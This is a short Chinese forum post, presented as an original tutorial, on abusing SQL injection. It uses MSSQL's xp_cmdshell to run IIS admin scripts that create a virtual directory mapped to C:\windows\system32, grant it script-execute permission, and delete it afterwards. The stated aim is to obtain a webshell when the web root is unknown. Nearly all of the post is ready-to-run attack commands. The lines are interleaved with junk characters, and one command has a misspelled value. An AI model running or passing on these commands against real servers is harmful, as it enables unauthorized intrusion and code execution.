[原创教程] 如何SQL注入建立虚拟目录 SQL, 目录, 虚拟

平湖秋月

很多情况下我们都会遇到SQL注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，应该算是无意中发现了一招，感觉不错 整理下发上来给大家分享：
# e1 j4 E$ V* e8 ]. Z; s4 g7 K/ b$ H' z, E! S6 n7 t
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'+ k( r+ k+ |% L1 L7 _# N
建立虚拟目录win,指向c:\windows\system32
0 o0 Y$ h8 }: @5 Qexec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
1 Q7 h% i  @0 `& t让win句有解析asp脚本权限3 _7 [/ ?. q0 ^* r+ }: ?+ A
) r4 o0 K) v9 m# n  S
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"+ Q/ \, q* ~5 k7 q* e) e
删除虚拟目录。
! i; |5 G' f' k找不到web绝对路径的一种解决办法，) M! E6 N$ t9 ]6 H  z, [
2 d  k$ V* b5 [1 N
403错误，表示虚拟目录建好了。。